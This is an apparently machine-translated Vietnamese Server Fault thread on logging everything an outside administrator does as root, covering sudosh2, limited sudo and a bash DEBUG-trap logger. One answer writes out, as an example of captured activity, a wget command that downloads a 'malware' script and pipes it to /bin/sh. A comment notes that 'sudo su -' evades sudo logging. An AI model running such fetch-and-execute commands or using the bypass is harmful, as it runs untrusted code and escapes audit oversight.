Đăng nhập mọi lệnh được thực thi từ root


16

Tôi muốn cấp quyền truy cập vào máy chủ gốc của mình cho quản trị viên hệ thống bên ngoài, nhưng tôi muốn chắc chắn kiểm tra kỹ những gì anh ta đang làm với máy chủ của mình, ví dụ: sao chép dữ liệu tôi không muốn họ làm như vậy. Tôi cũng muốn theo dõi bất kỳ tập tin nào được truy cập, ngay cả trong chỉ đọc và không được chỉnh sửa.

Làm thế nào tôi có thể làm điều đó?


1
Xem câu hỏi liên quan này: serverfault.com/questions/181131/ trên ?
Stefan Lasiewski

Câu trả lời:


21

Tin tưởng, nhưng xác minh!

Kiểm tra sudosh2 . sudosh2 được cung cấp bởi các cổng FreeBSD. Các gói có sẵn cho RedHat và Ubuntu. Dưới đây là mô tả từ trang web của họ:

sudosh là một bộ lọc vỏ kiểm toán và có thể được sử dụng làm vỏ đăng nhập. Sudosh ghi lại tất cả các tổ hợp phím và đầu ra và có thể phát lại phiên giống như một VCR.

Sudosh sẽ cho phép bạn phát lại phiên của người dùng, điều này sẽ cho phép bạn xem tất cả đầu vào đầu ra như người dùng đã thấy. Bạn thấy mọi thứ, tổ hợp phím, lỗi chính tả, không gian, những gì họ đã chỉnh sửa vi, đầu ra wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh, v.v.

Có thể gửi nhật ký sudosh đến syslog để chúng có thể được lưu trữ trên một máy chủ syslog trung tâm cách xa hệ thống.

Lưu ý rằng sudosh2 là một thay thế cho sudosh, đã bị tác giả của nó bỏ rơi

Bạn có làm việc tại một tổ chức học thuật nơi người dùng khăng khăng có quyền riêng tư siêu người dùng không? Hay bạn làm việc tại một tập đoàn và muốn cho phép người dùng có các đặc quyền siêu người dùng trên máy ảo của riêng họ? Đây có thể là giải pháp cho bạn.


1
Tuyệt vời - Trước đây tôi chưa từng nghe về sudosh.
EEAA

2
Bạn nói về 'VCR' này là gì?
Tom Marthenal

2
Nó giống như một bài hát 8, nhưng bạn có thể ghi lại các chương trình truyền hình của riêng bạn!
Stefan Lasiewski

22

Đừng cho anh ta quyền truy cập root. Thay vào đó, hãy đưa cho anh ta một tài khoản người dùng không có đặc quyền và yêu cầu anh ta thực hiện tất cả công việc của mình, việc sudonày sẽ ghi lại tất cả các lệnh của anh ta.

Hãy nhớ rằng nếu người này có ý định xấu và bạn cung cấp cho anh ta đầy đủ các đặc quyền sudo, anh ta sẽ tìm cách thực hiện những ý định xấu đó mà không cần phải ghi lại các lệnh đó. Trong trường hợp này, chỉ cấp cho anh ta quyền truy cập vào các lệnh cụ thể mà anh ta cần để thực hiện công việc của mình.


tôi muốn làm cho nó khó nhất có thể mà không làm cho cuộc sống của tôi trở thành một nỗi đau. Cảm ơn câu trả lời.
cedivad

Bạn chỉ có thể chạy sudo su -và có một vỏ gốc sẽ không được ghi lại (ngoại trừ việc bạn đã khởi động nó). Đây là những gì tôi thường gõ khi tôi muốn thực hiện nhiều hơn một lệnh dưới dạng root trong một lần hoặc nếu tôi muốn hoàn thành tab trong các thư mục mà người dùng bình thường không thể đọc.
rjmunro

@rjmunro - Đó chính xác là lý do tại sao tôi đưa ra lời cảnh báo chỉ cung cấp cho anh ta quyền truy cập cụ thể mà anh ta cần. Bạn có thể cấm rõ ràng sudo su -nếu muốn.
EEAA

1

Tôi không quen thuộc với sudosh2, nhưng tôi đặt phần sau đây .bashrcđể ghi nhật ký tất cả các lệnh tôi nhập vào trình bashbao vào tệp ~/.command_log:

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

Ở trên đặt bẫy trên DEBUG, được thực thi ngay trước khi một lệnh thông thường được thực thi. Các callerbuilt-in được sử dụng để kiểm tra xem các lệnh đã được gõ vào một vỏ tương tác hoặc chạy qua một cái gì đó giống như .bashrc. Giá trị ${BASH_COMMAND}chứa lệnh hiện đang được thực thi.

Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.